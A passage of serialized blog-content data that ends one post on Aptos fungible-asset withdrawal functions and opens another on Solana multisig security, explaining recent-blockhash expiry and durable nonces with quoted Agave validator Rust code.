re-registration.",{"type":22,"tag":23,"props":69462,"children":69463},{"id":30872},[69464],{"type":28,"value":20914},{"type":22,"tag":31,"props":69466,"children":69467},{},[69468,69470,69475],{"type":28,"value":69469},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":22,"tag":114,"props":69471,"children":69473},{"className":69472},[],[69474],{"type":28,"value":62907},{"type":28,"value":292},{"type":22,"tag":31,"props":69477,"children":69478},{},[69479],{"type":28,"value":69480},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":22,"tag":31,"props":69482,"children":69483},{},[69484,69486],{"type":28,"value":69485},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":22,"tag":17448,"props":69487,"children":69488},{},[69489],{"type":22,"tag":42,"props":69490,"children":69492},{"href":31562,"ariaDescribedBy":69491,"dataFootnoteRef":7,"id":31564},[17455],[69493],{"type":28,"value":6026},{"type":22,"tag":20388,"props":69495,"children":69497},{"className":69496,"dataFootnotes":7},[20391],[69498,69503],{"type":22,"tag":23,"props":69499,"children":69501},{"className":69500,"id":17455},[20396],[69502],{"type":28,"value":20399},{"type":22,"tag":4029,"props":69504,"children":69505},{},[69506],{"type":22,"tag":68,"props":69507,"children":69508},{"id":32304},[69509,69511,69553],{"type":28,"value":69510},"There are at least four functions that can withdraw a fungible asset:",{"type":22,"tag":64,"props":69512,"children":69513},{},[69514,69524,69533,69543],{"type":22,"tag":68,"props":69515,"children":69516},{},[69517],{"type":22,"tag":42,"props":69518,"children":69522},{"href":69519,"rel":69520,":style":69521},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[46],"color: #007bff;",[69523],{"type":28,"value":66208},{"type":22,"tag":68,"props":69525,"children":69526},{},[69527],{"type":22,"tag":42,"props":69528,"children":69531},{"href":69529,"rel":69530,":style":69521},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[46],[69532],{"type":28,"value":68147},{"type":22,"tag":68,"props":69534,"children":69535},{},[69536],{"type":22,"tag":42,"props":69537,"children":69540},{"href":69538,"rel":69539,":style":69521},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[46],[69541],{"type":28,"value":69542},"primary_fungible_store::withdraw",{"type":22,"tag":68,"props":69544,"children":69545},{},[69546],{"type":22,"tag":42,"props":69547,"children":69550},{"href":69548,"rel":69549,":style":69521},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[46],[69551],{"type":28,"value":69552},"coin::withdraw",{"type":22,"tag":42,"props":69554,"children":69556},{"href":32332,"ariaLabel":20502,"className":69555,"dataFootnoteBackref":7},[20504],[69557],{"type":28,"value":20507},{"type":22,"tag":4880,"props":69559,"children":69560},{},[69561],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":69563},[69564,69565,69566,69569,69574,69575,69576,69577],{"id":62893,"depth":142,"text":62896},{"id":63438,"depth":142,"text":63441},{"id":63998,"depth":142,"text":64001,"children":69567},[69568],{"id":64509,"depth":177,"text":64512},{"id":64766,"depth":142,"text":64769,"children":69570},[69571,69572,69573],{"id":64809,"depth":177,"text":64812},{"id":65514,"depth":177,"text":65517},{"id":67171,"depth":177,"text":67174},{"id":67702,"depth":142,"text":67705},{"id":68683,"depth":142,"text":68686},{"id":30872,"depth":142,"text":20914},{"id":17455,"depth":142,"text":20399},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":69582,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69583,"description":69584,"date":69585,"author":7730,"image":69586,"isFeatured":15,"onBlogPage":15,"tags":69588,"body":69589,"_type":4896,"_id":71415,"_source":4898,"_file":71416,"_stem":71417,"_extension":4901},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":69587,"width":7396,"height":7397},"/posts/multisig-security/title.png",[17],{"type":19,"children":69590,"toc":71406},[69591,69604,69610,69615,69621,69634,69642,69655,69715,69737,69864,69869,69882,69894,69900,69914,69927,69941,70421,70426,70434,70448,70462,70601,70613,70619,70624,70642,70647,70652,70673,70957,70972,71160,71173,71302,71307,71312,71317,71345,71351,71356,71370,71402],{"type":22,"tag":31,"props":69592,"children":69593},{},[69594,69595,69602],{"type":28,"value":2743},{"type":22,"tag":42,"props":69596,"children":69599},{"href":69597,"rel":69598},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[46],[69600],{"type":28,"value":69601},"Bybit hack",{"type":28,"value":69603}," raises an interesting question: what can teams do if their signers are compromised?",{"type":22,"tag":23,"props":69605,"children":69607},{"id":69606},"solana-signatures",[69608],{"type":28,"value":69609},"Solana Signatures",{"type":22,"tag":31,"props":69611,"children":69612},{},[69613],{"type":28,"value":69614},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":22,"tag":1289,"props":69616,"children":69618},{"id":69617},"recent-blockhash",[69619],{"type":28,"value":69620},"Recent Blockhash",{"type":22,"tag":31,"props":69622,"children":69623},{},[69624,69626,69633],{"type":28,"value":69625},"The most straightforward is with a \"recent blockhash\". From ",{"type":22,"tag":42,"props":69627,"children":69630},{"href":69628,"rel":69629},"https://solana.com/developers/guides/advanced/confirmation",[46],[69631],{"type":28,"value":69632},"the docs",{"type":28,"value":213},{"type":22,"tag":1269,"props":69635,"children":69636},{},[69637],{"type":22,"tag":31,"props":69638,"children":69639},{},[69640],{"type":28,"value":69641},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":22,"tag":31,"props":69643,"children":69644},{},[69645,69647,69654],{"type":28,"value":69646},"The actual constant ",{"type":22,"tag":42,"props":69648,"children":69651},{"href":69649,"rel":69650},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[46],[69652],{"type":28,"value":69653},"is defined here",{"type":28,"value":292},{"type":22,"tag":107,"props":69656,"children":69658},{"className":109,"code":69657,"language":111,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[69659],{"type":22,"tag":114,"props":69660,"children":69661},{"__ignoreMap":7},[69662,69670],{"type":22,"tag":118,"props":69663,"children":69664},{"class":120,"line":121},[69665],{"type":22,"tag":118,"props":69666,"children":69667},{"style":257},[69668],{"type":28,"value":69669},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":22,"tag":118,"props":69671,"children":69672},{"class":120,"line":142},[69673,69677,69681,69686,69690,69694,69698,69703,69707,69711],{"type":22,"tag":118,"props":69674,"children":69675},{"style":146},[69676],{"type":28,"value":149},{"type":22,"tag":118,"props":69678,"children":69679},{"style":146},[69680],{"type":28,"value":41052},{"type":22,"tag":118,"props":69682,"children":69683},{"style":125},[69684],{"type":28,"value":69685}," MAX_PROCESSING_AGE",{"type":22,"tag":118,"props":69687,"children":69688},{"style":210},[69689],{"type":28,"value":213},{"type":22,"tag":118,"props":69691,"children":69692},{"style":131},[69693],{"type":28,"value":3946},{"type":22,"tag":118,"props":69695,"children":69696},{"style":210},[69697],{"type":28,"value":837},{"type":22,"tag":118,"props":69699,"children":69700},{"style":125},[69701],{"type":28,"value":69702}," MAX_RECENT_BLOCKHASHES ",{"type":22,"tag":118,"props":69704,"children":69705},{"style":210},[69706],{"type":28,"value":888},{"type":22,"tag":118,"props":69708,"children":69709},{"style":674},[69710],{"type":28,"value":677},{"type":22,"tag":118,"props":69712,"children":69713},{"style":125},[69714],{"type":28,"value":801},{"type":22,"tag":31,"props":69716,"children":69717},{},[69718,69720,69727,69729,69735],{"type":28,"value":69719},"For those curious, the logic ",{"type":22,"tag":42,"props":69721,"children":69724},{"href":69722,"rel":69723},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[46],[69725],{"type":28,"value":69726},"starts here",{"type":28,"value":69728}," and is quite straightforward to follow, ending in a ",{"type":22,"tag":114,"props":69730,"children":69732},{"className":69731},[],[69733],{"type":28,"value":69734},"is_hash_index_valid",{"type":28,"value":69736}," check.",{"type":22,"tag":107,"props":69738,"children":69740},{"className":109,"code":69739,"language":111,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[69741],{"type":22,"tag":114,"props":69742,"children":69743},{"__ignoreMap":7},[69744,69823,69857],{"type":22,"tag":118,"props":69745,"children":69746},{"class":120,"line":121},[69747,69751,69756,69760,69765,69769,69773,69777,69782,69786,69790,69794,69799,69803,69807,69811,69815,69819],{"type":22,"tag":118,"props":69748,"children":69749},{"style":146},[69750],{"type":28,"value":2603},{"type":22,"tag":118,"props":69752,"children":69753},{"style":532},[69754],{"type":28,"value":69755}," is_hash_index_valid",{"type":22,"tag":118,"props":69757,"children":69758},{"style":125},[69759],{"type":28,"value":540},{"type":22,"tag":118,"props":69761,"children":69762},{"style":204},[69763],{"type":28,"value":69764},"last_hash_index",{"type":22,"tag":118,"props":69766,"children":69767},{"style":210},[69768],{"type":28,"value":213},{"type":22,"tag":118,"props":69770,"children":69771},{"style":131},[69772],{"type":28,"value":583},{"type":22,"tag":118,"props":69774,"children":69775},{"style":125},[69776],{"type":28,"value":231},{"type":22,"tag":118,"props":69778,"children":69779},{"style":204},[69780],{"type":28,"value":69781},"max_age",{"type":22,"tag":118,"props":69783,"children":69784},{"style":210},[69785],{"type":28,"value":213},{"type":22,"tag":118,"props":69787,"children":69788},{"style":131},[69789],{"type":28,"value":3946},{"type":22,"tag":118,"props":69791,"children":69792},{"style":125},[69793],{"type":28,"value":231},{"type":22,"tag":118,"props":69795,"children":69796},{"style":204},[69797],{"type":28,"value":69798},"hash_index",{"type":22,"tag":118,"props":69800,"children":69801},{"style":210},[69802],{"type":28,"value":213},{"type":22,"tag":118,"props":69804,"children":69805},{"style":131},[69806],{"type":28,"value":583},{"type":22,"tag":118,"props":69808,"children":69809},{"style":125},[69810],{"type":28,"value":588},{"type":22,"tag":118,"props":69812,"children":69813},{"style":210},[69814],{"type":28,"value":593},{"type":22,"tag":118,"props":69816,"children":69817},{"style":131},[69818],{"type":28,"value":1469},{"type":22,"tag":118,"props":69820,"children":69821},{"style":125},[69822],{"type":28,"value":1474},{"type":22,"tag":118,"props":69824,"children":69825},{"class":120,"line":142},[69826,69831,69835,69840,69844,69849,69853],{"type":22,"tag":118,"props":69827,"children":69828},{"style":204},[69829],{"type":28,"value":69830},"    last_hash_index",{"type":22,"tag":118,"props":69832,"children":69833},{"style":210},[69834],{"type":28,"value":53196},{"type":22,"tag":118,"props":69836,"children":69837},{"style":204},[69838],{"type":28,"value":69839}," hash_index",{"type":22,"tag":118,"props":69841,"children":69842},{"style":210},[69843],{"type":28,"value":1798},{"type":22,"tag":118,"props":69845,"children":69846},{"style":204},[69847],{"type":28,"value":69848}," max_age",{"type":22,"tag":118,"props":69850,"children":69851},{"style":146},[69852],{"type":28,"value":10829},{"type":22,"tag":118,"props":69854,"children":69855},{"style":131},[69856],{"type":28,"value":15191},{"type":22,"tag":118,"props":69858,"children":69859},{"class":120,"line":177},[69860],{"type":22,"tag":118,"props":69861,"children":69862},{"style":125},[69863],{"type":28,"value":481},{"type":22,"tag":31,"props":69865,"children":69866},{},[69867],{"type":28,"value":69868},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":22,"tag":1269,"props":69870,"children":69871},{},[69872],{"type":22,"tag":31,"props":69873,"children":69874},{},[69875,69877],{"type":28,"value":69876},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":22,"tag":74,"props":69878,"children":69879},{},[69880],{"type":28,"value":69881},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":22,"tag":31,"props":69883,"children":69884},{},[69885,69887,69892],{"type":28,"value":69886},"This means an attacker ",{"type":22,"tag":4764,"props":69888,"children":69889},{},[69890],{"type":28,"value":69891},"must use",{"type":28,"value":69893}," a malicious signed transaction within a short timeframe.",{"type":22,"tag":1289,"props":69895,"children":69897},{"id":69896},"durable-nonce",[69898],{"type":28,"value":69899},"Durable Nonce",{"type":22,"tag":31,"props":69901,"children":69902},{},[69903,69905,69912],{"type":28,"value":69904},"The second type of signature ",{"type":22,"tag":42,"props":69906,"children":69909},{"href":69907,"rel":69908},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[46],[69910],{"type":28,"value":69911},"is a durable nonce",{"type":28,"value":69913},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":22,"tag":1269,"props":69915,"children":69916},{},[69917],{"type":22,"tag":31,"props":69918,"children":69919},{},[69920,69922],{"type":28,"value":69921},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":22,"tag":74,"props":69923,"children":69924},{},[69925],{"type":28,"value":69926},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":22,"tag":31,"props":69928,"children":69929},{},[69930,69932,69939],{"type":28,"value":69931},"If we examine the code ",{"type":22,"tag":42,"props":69933,"children":69936},{"href":69934,"rel":69935},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[46],[69937],{"type":28,"value":69938},"for recent blockhash validation",{"type":28,"value":69940},", we can also see the handling for durable nonces.",{"type":22,"tag":107,"props":69942,"children":69944},{"className":109,"code":69943,"language":111,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[69945],{"type":22,"tag":114,"props":69946,"children":69947},{"__ignoreMap":7},[69948,69994,70060,70080,70100,70130,70138,70192,70208,70228,70240,70252,70260,70267,70286,70313,70333,70340,70355,70385,70414],{"type":22,"tag":118,"props":69949,"children":69950},{"class":120,"line":121},[69951,69955,69960,69964,69969,69973,69977,69981,69985,69990],{"type":22,"tag":118,"props":69952,"children":69953},{"style":146},[69954],{"type":28,"value":4152},{"type":22,"tag":118,"props":69956,"children":69957},{"style":204},[69958],{"type":28,"value":69959}," recent_blockhash",{"type":22,"tag":118,"props":69961,"children":69962},{"style":210},[69963],{"type":28,"value":837},{"type":22,"tag":118,"props":69965,"children":69966},{"style":204},[69967],{"type":28,"value":69968}," tx",{"type":22,"tag":118,"props":69970,"children":69971},{"style":210},[69972],{"type":28,"value":292},{"type":22,"tag":118,"props":69974,"children":69975},{"style":532},[69976],{"type":28,"value":3451},{"type":22,"tag":118,"props":69978,"children":69979},{"style":125},[69980],{"type":28,"value":1200},{"type":22,"tag":118,"props":69982,"children":69983},{"style":210},[69984],{"type":28,"value":292},{"type":22,"tag":118,"props":69986,"children":69987},{"style":532},[69988],{"type":28,"value":69989},"recent_blockhash",{"type":22,"tag":118,"props":69991,"children":69992},{"style":125},[69993],{"type":28,"value":1098},{"type":22,"tag":118,"props":69995,"children":69996},{"class":120,"line":142},[69997,70001,70005,70009,70013,70018,70022,70026,70031,70035,70040,70044,70048,70052,70056],{"type":22,"tag":118,"props":69998,"children":69999},{"style":1480},[70000],{"type":28,"value":2159},{"type":22,"tag":118,"props":70002,"children":70003},{"style":146},[70004],{"type":28,"value":29246},{"type":22,"tag":118,"props":70006,"children":70007},{"style":131},[70008],{"type":28,"value":29251},{"type":22,"tag":118,"props":70010,"children":70011},{"style":125},[70012],{"type":28,"value":540},{"type":22,"tag":118,"props":70014,"children":70015},{"style":204},[70016],{"type":28,"value":70017},"hash_info",{"type":22,"tag":118,"props":70019,"children":70020},{"style":125},[70021],{"type":28,"value":588},{"type":22,"tag":118,"props":70023,"children":70024},{"style":210},[70025],{"type":28,"value":282},{"type":22,"tag":118,"props":70027,"children":70028},{"style":204},[70029],{"type":28,"value":70030}," hash_queue",{"type":22,"tag":118,"props":70032,"children":70033},{"style":210},[70034],{"type":28,"value":292},{"type":22,"tag":118,"props":70036,"children":70037},{"style":532},[70038],{"type":28,"value":70039},"get_hash_info_if_valid",{"type":22,"tag":118,"props":70041,"children":70042},{"style":125},[70043],{"type":28,"value":540},{"type":22,"tag":118,"props":70045,"children":70046},{"style":204},[70047],{"type":28,"value":69989},{"type":22,"tag":118,"props":70049,"children":70050},{"style":125},[70051],{"type":28,"value":231},{"type":22,"tag":118,"props":70053,"children":70054},{"style":204},[70055],{"type":28,"value":69781},{"type":22,"tag":118,"props":70057,"children":70058},{"style":125},[70059],{"type":28,"value":16783},{"type":22,"tag":118,"props":70061,"children":70062},{"class":120,"line":177},[70063,70067,70071,70076],{"type":22,"tag":118,"props":70064,"children":70065},{"style":131},[70066],{"type":28,"value":1240},{"type":22,"tag":118,"props":70068,"children":70069},{"style":125},[70070],{"type":28,"value":540},{"type":22,"tag":118,"props":70072,"children":70073},{"style":131},[70074],{"type":28,"value":70075},"CheckedTransactionDetails",{"type":22,"tag":118,"props":70077,"children":70078},{"style":125},[70079],{"type":28,"value":1474},{"type":22,"tag":118,"props":70081,"children":70082},{"class":120,"line":195},[70083,70088,70092,70096],{"type":22,"tag":118,"props":70084,"children":70085},{"style":204},[70086],{"type":28,"value":70087},"            nonce",{"type":22,"tag":118,"props":70089,"children":70090},{"style":210},[70091],{"type":28,"value":213},{"type":22,"tag":118,"props":70093,"children":70094},{"style":131},[70095],{"type":28,"value":29697},{"type":22,"tag":118,"props":70097,"children":70098},{"style":125},[70099],{"type":28,"value":782},{"type":22,"tag":118,"props":70101,"children":70102},{"class":120,"line":244},[70103,70108,70112,70117,70121,70126],{"type":22,"tag":118,"props":70104,"children":70105},{"style":204},[70106],{"type":28,"value":70107},"            lamports_per_signature",{"type":22,"tag":118,"props":70109,"children":70110},{"style":210},[70111],{"type":28,"value":213},{"type":22,"tag":118,"props":70113,"children":70114},{"style":204},[70115],{"type":28,"value":70116}," hash_info",{"type":22,"tag":118,"props":70118,"children":70119},{"style":210},[70120],{"type":28,"value":292},{"type":22,"tag":118,"props":70122,"children":70123},{"style":532},[70124],{"type":28,"value":70125},"lamports_per_signature",{"type":22,"tag":118,"props":70127,"children":70128},{"style":125},[70129],{"type":28,"value":768},{"type":22,"tag":118,"props":70131,"children":70132},{"class":120,"line":253},[70133],{"type":22,"tag":118,"props":70134,"children":70135},{"style":125},[70136],{"type":28,"value":70137},"        })\n",{"type":22,"tag":118,"props":70139,"children":70140},{"class":120,"line":263},[70141,70145,70149,70153,70157,70161,70165,70170,70174,70179,70183,70187],{"type":22,"tag":118,"props":70142,"children":70143},{"style":125},[70144],{"type":28,"value":17746},{"type":22,"tag":118,"props":70146,"children":70147},{"style":1480},[70148],{"type":28,"value":5335},{"type":22,"tag":118,"props":70150,"children":70151},{"style":1480},[70152],{"type":28,"value":17755},{"type":22,"tag":118,"props":70154,"children":70155},{"style":146},[70156],{"type":28,"value":29246},{"type":22,"tag":118,"props":70158,"children":70159},{"style":131},[70160],{"type":28,"value":29251},{"type":22,"tag":118,"props":70162,"children":70163},{"style":125},[70164],{"type":28,"value":33462},{"type":22,"tag":118,"props":70166,"children":70167},{"style":204},[70168],{"type":28,"value":70169},"nonce",{"type":22,"tag":118,"props":70171,"children":70172},{"style":125},[70173],{"type":28,"value":231},{"type":22,"tag":118,"props":70175,"children":70176},{"style":204},[70177],{"type":28,"value":70178},"previous_lamports_per_signature",{"type":22,"tag":118,"props":70180,"children":70181},{"style":125},[70182],{"type":28,"value":10838},{"type":22,"tag":118,"props":70184,"children":70185},{"style":210},[70186],{"type":28,"value":282},{"type":22,"tag":118,"props":70188,"children":70189},{"style":146},[70190],{"type":28,"value":70191}," self\n",{"type":22,"tag":118,"props":70193,"children":70194},{"class":120,"line":318},[70195,70199,70204],{"type":22,"tag":118,"props":70196,"children":70197},{"style":210},[70198],{"type":28,"value":2657},{"type":22,"tag":118,"props":70200,"children":70201},{"style":532},[70202],{"type":28,"value":70203},"check_load_and_advance_message_nonce_account",{"type":22,"tag":118,"props":70205,"children":70206},{"style":125},[70207],{"type":28,"value":696},{"type":22,"tag":118,"props":70209,"children":70210},{"class":120,"line":351},[70211,70216,70220,70224],{"type":22,"tag":118,"props":70212,"children":70213},{"style":204},[70214],{"type":28,"value":70215},"            tx",{"type":22,"tag":118,"props":70217,"children":70218},{"style":210},[70219],{"type":28,"value":292},{"type":22,"tag":118,"props":70221,"children":70222},{"style":532},[70223],{"type":28,"value":3451},{"type":22,"tag":118,"props":70225,"children":70226},{"style":125},[70227],{"type":28,"value":768},{"type":22,"tag":118,"props":70229,"children":70230},{"class":120,"line":359},[70231,70236],{"type":22,"tag":118,"props":70232,"children":70233},{"style":204},[70234],{"type":28,"value":70235},"            next_durable_nonce",{"type":22,"tag":118,"props":70237,"children":70238},{"style":125},[70239],{"type":28,"value":782},{"type":22,"tag":118,"props":70241,"children":70242},{"class":120,"line":368},[70243,70248],{"type":22,"tag":118,"props":70244,"children":70245},{"style":204},[70246],{"type":28,"value":70247},"            next_lamports_per_signature",{"type":22,"tag":118,"props":70249,"children":70250},{"style":125},[70251],{"type":28,"value":782},{"type":22,"tag":118,"props":70253,"children":70254},{"class":120,"line":384},[70255],{"type":22,"tag":118,"props":70256,"children":70257},{"style":125},[70258],{"type":28,"value":70259},"        )\n",{"type":22,"tag":118,"props":70261,"children":70262},{"class":120,"line":417},[70263],{"type":22,"tag":118,"props":70264,"children":70265},{"style":125},[70266],{"type":28,"value":31125},{"type":22,"tag":118,"props":70268,"children":70269},{"class":120,"line":425},[70270,70274,70278,70282],{"type":22,"tag":118,"props":70271,"children":70272},{"style":131},[70273],{"type":28,"value":1240},{"type":22,"tag":118,"props":70275,"children":70276},{"style":125},[70277],{"type":28,"value":540},{"type":22,"tag":118,"props":70279,"children":70280},{"style":131},[70281],{"type":28,"value":70075},{"type":22,"tag":118,"props":70283,"children":70284},{"style":125},[70285],{"type":28,"value":1474},{"type":22,"tag":118,"props":70287,"children":70288},{"class":120,"line":441},[70289,70293,70297,70301,70305,70309],{"type":22,"tag":118,"props":70290,"children":70291},{"style":204},[70292],{"type":28,"value":70087},{"type":22,"tag":118,"props":70294,"children":70295},{"style":210},[70296],{"type":28,"value":213},{"type":22,"tag":118,"props":70298,"children":70299},{"style":131},[70300],{"type":28,"value":29251},{"type":22,"tag":118,"props":70302,"children":70303},{"style":125},[70304],{"type":28,"value":540},{"type":22,"tag":118,"props":70306,"children":70307},{"style":204},[70308],{"type":28,"value":70169},{"type":22,"tag":118,"props":70310,"children":70311},{"style":125},[70312],{"type":28,"value":3853},{"type":22,"tag":118,"props":70314,"children":70315},{"class":120,"line":475},[70316,70320,70324,70329],{"type":22,"tag":118,"props":70317,"children":70318},{"style":204},[70319],{"type":28,"value":70107},{"type":22,"tag":118,"props":70321,"children":70322},{"style":210},[70323],{"type":28,"value":213},{"type":22,"tag":118,"props":70325,"children":70326},{"style":204},[70327],{"type":28,"value":70328}," previous_lamports_per_signature",{"type":22,"tag":118,"props":70330,"children":70331},{"style":125},[70332],{"type":28,"value":782},{"type":22,"tag":118,"props":70334,"children":70335},{"class":120,"line":484},[70336],{"type":22,"tag":118,"props":70337,"children":70338},{"style":125},[70339],{"type":28,"value":70137},{"type":22,"tag":118,"props":70341,"children":70342},{"class":120,"line":492},[70343,70347,70351],{"type":22,"tag":118,"props":70344,"children":70345},{"style":125},[70346],{"type":28,"value":17746},{"type":22,"tag":118,"props":70348,"children":70349},{"style":1480},[70350],{"type":28,"value":5335},{"type":22,"tag":118,"props":70352,"children":70353},{"style":125},[70354],{"type":28,"value":1474},{"type":22,"tag":118,"props":70356,"children":70357},{"class":120,"line":501},[70358,70363,70367,70372,70377,70381],{"type":22,"tag":118,"props":70359,"children":70360},{"style":204},[70361],{"type":28,"value":70362},"        error_counters",{"type":22,"tag":118,"props":70364,"children":70365},{"style":210},[70366],{"type":28,"value":292},{"type":22,"tag":118,"props":70368,"children":70369},{"style":125},[70370],{"type":28,"value":70371},"blockhash_not_found ",{"type":22,"tag":118,"props":70373,"children":70374},{"style":210},[70375],{"type":28,"value":70376},"+=",{"type":22,"tag":118,"props":70378,"children":70379},{"style":674},[70380],{"type":28,"value":6535},{"type":22,"tag":118,"props":70382,"children":70383},{"style":125},[70384],{"type":28,"value":801},{"type":22,"tag":118,"props":70386,"children":70387},{"class":120,"line":519},[70388,70392,70396,70401,70405,70410],{"type":22,"tag":118,"props":70389,"children":70390},{"style":131},[70391],{"type":28,"value":16832},{"type":22,"tag":118,"props":70393,"children":70394},{"style":125},[70395],{"type":28,"value":540},{"type":22,"tag":118,"props":70397,"children":70398},{"style":131},[70399],{"type":28,"value":70400},"TransactionError",{"type":22,"tag":118,"props":70402,"children":70403},{"style":210},[70404],{"type":28,"value":1190},{"type":22,"tag":118,"props":70406,"children":70407},{"style":131},[70408],{"type":28,"value":70409},"BlockhashNotFound",{"type":22,"tag":118,"props":70411,"children":70412},{"style":125},[70413],{"type":28,"value":3665},{"type":22,"tag":118,"props":70415,"children":70416},{"class":120,"line":606},[70417],{"type":22,"tag":118,"props":70418,"children":70419},{"style":125},[70420],{"type":28,"value":1254},{"type":22,"tag":31,"props":70422,"children":70423},{},[70424],{"type":28,"value":70425},"The documentation does a good job of explaining how they work.",{"type":22,"tag":1269,"props":70427,"children":70428},{},[70429],{"type":22,"tag":31,"props":70430,"children":70431},{},[70432],{"type":28,"value":70433},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":22,"tag":31,"props":70435,"children":70436},{},[70437,70439,70446],{"type":28,"value":70438},"Durable nonces are created and managed ",{"type":22,"tag":42,"props":70440,"children":70443},{"href":70441,"rel":70442},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[46],[70444],{"type":28,"value":70445},"by the system program",{"type":28,"value":70447},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":22,"tag":31,"props":70449,"children":70450},{},[70451,70453,70460],{"type":28,"value":70452},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":22,"tag":42,"props":70454,"children":70457},{"href":70455,"rel":70456},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[46],[70458],{"type":28,"value":70459},"based on the current blockhash",{"type":28,"value":70461},", and cannot be predicted in advance.",{"type":22,"tag":107,"props":70463,"children":70465},{"className":109,"code":70464,"language":111,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[70466],{"type":22,"tag":114,"props":70467,"children":70468},{"__ignoreMap":7},[70469,70521,70554],{"type":22,"tag":118,"props":70470,"children":70471},{"class":120,"line":121},[70472,70476,70480,70484,70488,70492,70497,70501,70505,70509,70513,70517],{"type":22,"tag":118,"props":70473,"children":70474},{"style":146},[70475],{"type":28,"value":4152},{"type":22,"tag":118,"props":70477,"children":70478},{"style":204},[70479],{"type":28,"value":70030},{"type":22,"tag":118,"props":70481,"children":70482},{"style":210},[70483],{"type":28,"value":837},{"type":22,"tag":118,"props":70485,"children":70486},{"style":146},[70487],{"type":28,"value":2100},{"type":22,"tag":118,"props":70489,"children":70490},{"style":210},[70491],{"type":28,"value":292},{"type":22,"tag":118,"props":70493,"children":70494},{"style":125},[70495],{"type":28,"value":70496},"blockhash_queue",{"type":22,"tag":118,"props":70498,"children":70499},{"style":210},[70500],{"type":28,"value":292},{"type":22,"tag":118,"props":70502,"children":70503},{"style":532},[70504],{"type":28,"value":62581},{"type":22,"tag":118,"props":70506,"children":70507},{"style":125},[70508],{"type":28,"value":1200},{"type":22,"tag":118,"props":70510,"children":70511},{"style":210},[70512],{"type":28,"value":292},{"type":22,"tag":118,"props":70514,"children":70515},{"style":532},[70516],{"type":28,"value":5679},{"type":22,"tag":118,"props":70518,"children":70519},{"style":125},[70520],{"type":28,"value":1098},{"type":22,"tag":118,"props":70522,"children":70523},{"class":120,"line":142},[70524,70528,70533,70537,70541,70545,70550],{"type":22,"tag":118,"props":70525,"children":70526},{"style":146},[70527],{"type":28,"value":4152},{"type":22,"tag":118,"props":70529,"children":70530},{"style":204},[70531],{"type":28,"value":70532}," 